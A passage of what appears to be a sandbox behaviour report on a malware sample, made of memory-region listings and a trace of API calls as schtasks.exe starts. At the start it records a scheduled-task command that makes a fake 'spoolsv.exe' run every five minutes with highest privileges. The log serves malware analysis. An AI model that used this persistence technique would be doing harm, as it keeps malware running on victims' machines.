\"spoolsvs\" /sc MINUTE /mo 5 /tr \"'C:\\Users\\Default\\spoolsv.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4417 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4418 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4419 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4420 start_va = 0x1e0000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 4421 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4422 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4423 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4424 start_va = 0xff450000 end_va = 0xff497fff monitored = 1 entry_point = 0xff47966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4425 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4426 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4427 start_va = 0x7fffffd4000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 4428 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4429 start_va = 0x260000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 4430 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4431 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4432 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4433 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4434 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4435 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4436 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4437 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4438 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4439 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4440 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4441 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4442 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4443 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4444 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4445 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4446 start_va = 0xc0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 4447 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 4448 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4449 start_va = 0x260000 end_va = 0x3e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 4450 start_va = 0x400000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 4451 start_va = 0x500000 end_va = 0x528fff monitored = 0 entry_point = 0x501010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4452 start_va = 0x500000 end_va = 0x528fff monitored = 0 entry_point = 0x501010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4453 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4454 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4455 start_va = 0x500000 end_va = 0x680fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 4456 start_va = 0x690000 end_va = 0x1a8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 4457 start_va = 0x1a90000 end_va = 0x1aa1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4458 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4459 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 4460 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4461 start_va = 0x1ab0000 end_va = 0x1d7efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4509 start_va = 0x1d80000 end_va = 0x1dfcfff monitored = 0 entry_point = 0x1d8cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4510 start_va = 0x1d80000 end_va = 0x1dfcfff monitored = 0 entry_point = 0x1d8cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4511 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4512 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4513 start_va = 0x1d80000 end_va = 0x1e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 4514 start_va = 0x1e20000 end_va = 0x1efefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e20000" filename = "" Region: id = 4515 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4516 start_va = 0x1f30000 end_va = 0x1faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 4517 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4518 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4519 start_va = 0x3f0000 end_va = 0x3f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 4520 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4521 start_va = 0x1d80000 end_va = 0x1d80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d80000" filename = "" Region: id = 4522 start_va = 0x1da0000 end_va = 0x1e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001da0000" filename = "" Region: id = 4523 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4524 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4526 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 209 os_tid = 0x900 [0160.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25fb80 | out: lpSystemTimeAsFileTime=0x25fb80*(dwLowDateTime=0x2bcbb280, dwHighDateTime=0x1d8a92a)) [0160.369] GetCurrentProcessId () returned 0x8fc [0160.369] GetCurrentThreadId () returned 0x900 [0160.369] GetTickCount () returned 0x138c3b2 [0160.369] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x25fb88 | out: lpPerformanceCount=0x25fb88*=2063923284800) returned 1 [0160.370] GetModuleHandleW (lpModuleName=0x0) returned 0xff450000 [0160.370] __set_app_type (_Type=0x1) [0160.370] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff47972c) returned 0x0 [0160.370] __wgetmainargs (in: _Argc=0xff491240, _Argv=0xff491250, _Env=0xff491248, _DoWildCard=0, _StartInfo=0xff49125c | out: _Argc=0xff491240, _Argv=0xff491250, _Env=0xff491248) returned 0 [0160.371] _onexit (_Func=0xff482ab0) returned 0xff482ab0 [0160.371] _onexit (_Func=0xff482ac4) returned 0xff482ac4 [0160.372] _onexit (_Func=0xff482afc) returned 0xff482afc [0160.372] _onexit (_Func=0xff482b58) returned 0xff482b58 [0160.372] _onexit (_Func=0xff482b80) returned 0xff482b80 [0160.372] _onexit (_Func=0xff482ba8) returned 0xff482ba8 [0160.372] _onexit (_Func=0xff482bd0) returned 0xff482bd0 [0160.372] _onexit (_Func=0xff482bf8) returned 0xff482bf8 [0160.372] _onexit (_Func=0xff482c20) returned 0xff482c20 [0160.373] _onexit (_Func=0xff482c48) returned 0xff482c48 [0160.373] _onexit (_Func=0xff482c70) returned 0xff482c70 [0160.373] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0160.373] WinSqmIsOptedIn () returned 0x0 [0160.374] GetProcessHeap () returned 0x400000 [0160.374] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x18) returned 0x41b990 [0160.374] SetLastError (dwErrCode=0x0) [0160.374] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0160.374] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0160.374] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0160.374] VerifyVersionInfoW (in: lpVersionInformation=0x25f340, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x25f340) returned 1 [0160.374] GetProcessHeap () returned 0x400000 [0160.374] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x18) returned 0x41b9b0 [0160.374] lstrlenW (lpString="") returned 0 [0160.374] GetProcessHeap () returned 0x400000 [0160.374] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x2) returned 0x41b9d0 [0160.375] GetProcessHeap () returned 0x400000 [0160.375] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x415930 [0160.375] GetProcessHeap () returned 0x400000 [0160.375] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x18) returned 0x41b9f0 [0160.375] GetProcessHeap () returned 0x400000 [0160.375] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x415960 [0160.375] GetProcessHeap () returned 0x400000 [0160.375] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x415990 [0160.375] GetProcessHeap () returned 0x400000 [0160.375] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x4159c0 [0160.375] GetProcessHeap () returned 0x400000 [0160.375] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x4159f0 [0160.375] GetProcessHeap () returned 0x400000 [0160.375] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x18) returned 0x41ba10 [0160.375] GetProcessHeap () returned 0x400000 [0160.375] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x415a20 [0160.375] GetProcessHeap () returned 0x400000 [0160.375] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x415a50 [0160.375] GetProcessHeap () returned 0x400000 [0160.375] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x415a80 [0160.375] GetProcessHeap () returned 0x400000 [0160.375] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x415ab0 [0160.375] GetProcessHeap () returned 0x400000 [0160.375] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x18) returned 0x41ba30 [0160.375] GetProcessHeap () returned 0x400000 [0160.375] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x415ae0 [0160.375] GetProcessHeap () returned 0x400000 [0160.375] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x415b10 [0160.375] GetProcessHeap () returned 0x400000 [0160.376] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x415b40 [0160.376] GetProcessHeap () returned 0x400000 [0160.376] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x415b70 [0160.376] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0160.376] SetLastError (dwErrCode=0x0) [0160.376] GetProcessHeap () returned 0x400000 [0160.376] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x415ba0 [0160.376] GetProcessHeap () returned 0x400000 [0160.376] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x415bd0 [0160.376] GetProcessHeap () returned 0x400000 [0160.376] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x415c00 [0160.376] GetProcessHeap () returned 0x400000 [0160.376] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x415c30 [0160.376] GetProcessHeap () returned 0x400000 [0160.376] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x415c60 [0160.376] GetProcessHeap () returned 0x400000 [0160.376] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x18) returned 0x41ba50 [0160.376] _memicmp (_Buf1=0x41ba50, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.376] GetProcessHeap () returned 0x400000 [0160.376] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x208) returned 0x41bbf0 [0160.377] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x41bbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0160.377] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0160.379] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0160.379] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0160.380] GetProcessHeap () returned 0x400000 [0160.380] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x74e) returned 0x41c1a0 [0160.380] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0160.380] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x41c1a0 | out: lpData=0x41c1a0) returned 1 [0160.380] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0160.380] VerQueryValueW (in: pBlock=0x41c1a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25f428, puLen=0x25f490 | out: lplpBuffer=0x25f428*=0x41c53c, puLen=0x25f490) returned 1 [0160.383] _memicmp (_Buf1=0x41ba50, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.383] _vsnwprintf (in: _Buffer=0x41bbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x25f408 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0160.383] VerQueryValueW (in: pBlock=0x41c1a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x25f498, puLen=0x25f488 | out: lplpBuffer=0x25f498*=0x41c368, puLen=0x25f488) returned 1 [0160.383] lstrlenW (lpString="schtasks.exe") returned 12 [0160.383] lstrlenW (lpString="schtasks.exe") returned 12 [0160.383] lstrlenW (lpString=".EXE") returned 4 [0160.383] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0160.384] lstrlenW (lpString="schtasks.exe") returned 12 [0160.384] lstrlenW (lpString=".EXE") returned 4 [0160.384] _memicmp (_Buf1=0x41ba50, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.384] lstrlenW (lpString="schtasks") returned 8 [0160.384] GetProcessHeap () returned 0x400000 [0160.384] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x415d50 [0160.384] GetProcessHeap () returned 0x400000 [0160.384] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cab0 [0160.385] GetProcessHeap () returned 0x400000 [0160.385] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cae0 [0160.385] GetProcessHeap () returned 0x400000 [0160.385] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cb10 [0160.385] GetProcessHeap () returned 0x400000 [0160.385] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x18) returned 0x41ba70 [0160.385] _memicmp (_Buf1=0x41ba70, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.385] GetProcessHeap () returned 0x400000 [0160.385] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0xa0) returned 0x41bff0 [0160.385] GetProcessHeap () returned 0x400000 [0160.385] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cb40 [0160.385] GetProcessHeap () returned 0x400000 [0160.385] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cb70 [0160.385] GetProcessHeap () returned 0x400000 [0160.385] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x20) returned 0x41cba0 [0160.385] GetProcessHeap () returned 0x400000 [0160.385] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x18) returned 0x41ba90 [0160.385] _memicmp (_Buf1=0x41ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.385] GetProcessHeap () returned 0x400000 [0160.385] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x200) returned 0x41d280 [0160.385] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x41d280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0160.385] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0160.385] GetProcessHeap () returned 0x400000 [0160.385] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x30) returned 0x417a50 [0160.385] _vsnwprintf (in: _Buffer=0x41bff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x25f408 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0160.385] GetProcessHeap () returned 0x400000 [0160.385] GetProcessHeap () returned 0x400000 [0160.386] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41c1a0) returned 1 [0160.386] GetProcessHeap () returned 0x400000 [0160.386] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41c1a0) returned 0x74e [0160.386] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41c1a0 | out: hHeap=0x400000) returned 1 [0160.386] SetLastError (dwErrCode=0x0) [0160.386] GetThreadLocale () returned 0x409 [0160.386] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.386] lstrlenW (lpString="?") returned 1 [0160.386] GetThreadLocale () returned 0x409 [0160.386] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.386] lstrlenW (lpString="create") returned 6 [0160.387] GetThreadLocale () returned 0x409 [0160.387] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.387] lstrlenW (lpString="delete") returned 6 [0160.387] GetThreadLocale () returned 0x409 [0160.387] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.387] lstrlenW (lpString="query") returned 5 [0160.387] GetThreadLocale () returned 0x409 [0160.387] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.387] lstrlenW (lpString="change") returned 6 [0160.387] GetThreadLocale () returned 0x409 [0160.387] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.387] lstrlenW (lpString="run") returned 3 [0160.387] GetThreadLocale () returned 0x409 [0160.387] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.387] lstrlenW (lpString="end") returned 3 [0160.387] GetThreadLocale () returned 0x409 [0160.387] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.387] lstrlenW (lpString="showsid") returned 7 [0160.387] GetThreadLocale () returned 0x409 [0160.387] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0160.387] SetLastError (dwErrCode=0x0) [0160.387] SetLastError (dwErrCode=0x0) [0160.387] lstrlenW (lpString="/create") returned 7 [0160.387] lstrlenW (lpString="-/") returned 2 [0160.387] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0160.387] lstrlenW (lpString="?") returned 1 [0160.387] lstrlenW (lpString="?") returned 1 [0160.387] GetProcessHeap () returned 0x400000 [0160.387] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x18) returned 0x41c1a0 [0160.387] _memicmp (_Buf1=0x41c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.387] GetProcessHeap () returned 0x400000 [0160.387] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0xa) returned 0x41c1c0 [0160.387] lstrlenW (lpString="create") returned 6 [0160.387] GetProcessHeap () returned 0x400000 [0160.388] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x18) returned 0x41c1e0 [0160.388] _memicmp (_Buf1=0x41c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0160.388] GetProcessHeap () returned 0x400000 [0160.388] RtlAllocateHeap (HeapHandle=0x400000, Flags=0xc, Size=0x14) returned 0x41c200 [0160.388] _vsnwprintf (in: _Buffer=0x41c1c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|?|") returned 3 [0160.388] _vsnwprintf (in: _Buffer=0x41c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f418 | out: _Buffer="|create|") returned 8 [0160.388] lstrlenW (lpString="|?|") returned 3 [0160.388] lstrlenW (lpString="|create|") returned 8 